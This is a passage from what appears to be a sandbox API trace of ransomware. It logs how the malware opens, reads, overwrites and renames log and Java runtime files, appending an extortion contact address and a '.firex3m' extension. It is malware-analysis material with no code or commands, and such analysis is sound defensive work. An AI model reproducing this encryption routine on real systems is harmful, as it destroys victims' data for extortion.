cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID693~1.FIR")) returned 0x6d5500 [0107.299] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0107.299] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0107.299] GetProcessHeap () returned 0x630000 [0107.299] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72a4450 [0107.300] GetProcessHeap () returned 0x630000 [0107.300] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72af880 [0107.301] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.301] ReadFile (in: hFile=0x710, lpBuffer=0x72a4450, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a4450*, lpNumberOfBytesRead=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.300] GetProcessHeap () returned 0x630000 [0113.300] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0113.300] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.300] WriteFile (in: hFile=0x710, lpBuffer=0x72af880*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72af880*, lpNumberOfBytesWritten=0x537ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.301] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.301] WriteFile (in: hFile=0x710, lpBuffer=0x72bac7f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bac7f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.301] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.301] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.301] CloseHandle (hObject=0x710) returned 1 [0113.955] GetProcessHeap () returned 0x630000 [0113.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72af880 | out: hHeap=0x630000) returned 1 [0113.955] GetProcessHeap () returned 0x630000 [0113.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72a4450 | out: hHeap=0x630000) returned 1 [0113.957] GetProcessHeap () returned 0x630000 [0113.957] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0113.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.957] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5095bc04, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5095bc04, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9df39f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xa187496, dwReserved1=0x72a4448, cFileName="Microsoft-Windows-UserPnp%4DeviceInstall.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID693~1.FIR")) returned 0x6d4e40 [0113.957] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0113.958] Sleep (dwMilliseconds=0x1) [0114.320] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.463] Sleep (dwMilliseconds=0x1) [0115.810] Sleep (dwMilliseconds=0x1) [0117.156] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.561] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.186] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", len=0x2f | out: pbstr=0x537ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 1 [0119.186] GetProcessHeap () returned 0x630000 [0119.186] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x16c) returned 0x66a3e0 [0119.186] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.186] CloseHandle (hObject=0x6bc) returned 1 [0119.186] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.187] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.187] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WELCOM~1.FIR")) returned 0x6d5000 [0119.187] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0119.187] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.188] GetProcessHeap () returned 0x630000 [0119.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x698c00 [0119.188] GetProcessHeap () returned 0x630000 [0119.188] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3c1) returned 0x6672f8 [0119.188] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.188] ReadFile (in: hFile=0x6bc, lpBuffer=0x698c00, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x698c00*, lpNumberOfBytesRead=0x537ff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0119.193] GetProcessHeap () returned 0x630000 [0119.193] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0119.193] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.193] WriteFile (in: hFile=0x6bc, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x537ff0c*=0x3a0, lpOverlapped=0x0) returned 1 [0119.193] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.193] WriteFile (in: hFile=0x6bc, lpBuffer=0x667697*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667697*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.193] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.193] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.193] CloseHandle (hObject=0x6bc) returned 1 [0119.194] GetProcessHeap () returned 0x630000 [0119.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0119.194] GetProcessHeap () returned 0x630000 [0119.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x698c00 | out: hHeap=0x630000) returned 1 [0119.194] GetProcessHeap () returned 0x630000 [0119.194] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0119.194] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.195] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xcfe2754, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3df, dwReserved0=0xa187496, dwReserved1=0x698bf8, cFileName="Welcome.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WELCOM~1.FIR")) returned 0x6d5340 [0119.195] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0119.195] Sleep (dwMilliseconds=0x1) [0119.234] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\release", len=0x2a | out: pbstr=0x537ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 1 [0119.234] GetProcessHeap () returned 0x630000 [0119.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x160) returned 0x66a3e0 [0119.234] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.236] CloseHandle (hObject=0x6bc) returned 1 [0119.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.236] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.238] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RELEAS~1.FIR")) returned 0x6d5200 [0119.238] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.238] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.238] GetProcessHeap () returned 0x630000 [0119.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x686370 [0119.238] GetProcessHeap () returned 0x630000 [0119.238] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x221) returned 0x69c3d8 [0119.238] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.238] ReadFile (in: hFile=0x6bc, lpBuffer=0x686370, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x686370*, lpNumberOfBytesRead=0x537ff0c*=0x200, lpOverlapped=0x0) returned 1 [0119.242] GetProcessHeap () returned 0x630000 [0119.242] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0119.242] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.242] WriteFile (in: hFile=0x6bc, lpBuffer=0x69c3d8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69c3d8*, lpNumberOfBytesWritten=0x537ff0c*=0x200, lpOverlapped=0x0) returned 1 [0119.242] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.242] WriteFile (in: hFile=0x6bc, lpBuffer=0x69c5d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x69c5d7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.242] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.242] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.242] CloseHandle (hObject=0x6bc) returned 1 [0119.243] GetProcessHeap () returned 0x630000 [0119.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69c3d8 | out: hHeap=0x630000) returned 1 [0119.243] GetProcessHeap () returned 0x630000 [0119.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x686370 | out: hHeap=0x630000) returned 1 [0119.243] GetProcessHeap () returned 0x630000 [0119.243] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0119.243] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.243] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd058bf6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0xa187496, dwReserved1=0x686368, cFileName="release.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RELEAS~1.FIR")) returned 0x6d5380 [0119.244] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0119.244] Sleep (dwMilliseconds=0x1) [0120.313] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar", len=0x40 | out: pbstr=0x537ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 1 [0120.313] GetProcessHeap () returned 0x630000 [0120.313] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0120.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.315] CloseHandle (hObject=0x5e4) returned 1 [0120.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.315] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.317] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xdc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCAL_~1.FIR")) returned 0x6d52c0 [0120.318] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0120.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.323] GetProcessHeap () returned 0x630000 [0120.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7083008 [0120.323] GetProcessHeap () returned 0x630000 [0120.323] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x727d80 [0120.323] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.323] ReadFile (in: hFile=0x6bc, lpBuffer=0x7083008, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7083008*, lpNumberOfBytesRead=0x537ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0120.338] GetProcessHeap () returned 0x630000 [0120.338] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0120.338] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.338] WriteFile (in: hFile=0x6bc, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x537ff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0120.338] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.338] WriteFile (in: hFile=0x6bc, lpBuffer=0x728b3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728b3f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0120.338] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.338] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0120.338] CloseHandle (hObject=0x6bc) returned 1 [0120.339] GetProcessHeap () returned 0x630000 [0120.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0120.339] GetProcessHeap () returned 0x630000 [0120.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7083008 | out: hHeap=0x630000) returned 1 [0120.339] GetProcessHeap () returned 0x630000 [0120.339] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0120.339] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.340] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xdac3087, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdeb, dwReserved0=0xa187496, dwReserved1=0x7083000, cFileName="local_policy.jar.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCAL_~1.FIR")) returned 0x6d5200 [0120.340] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.340] Sleep (dwMilliseconds=0x1) [0120.365] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs", len=0x41 | out: pbstr=0x537ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 1 [0120.365] GetProcessHeap () returned 0x630000 [0120.365] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x12c) returned 0x66a3e0 [0120.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x608 [0120.366] CloseHandle (hObject=0x608) returned 1 [0120.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.366] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.366] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.367] FindFirstFileW (in: lpFileName="C:\\Program 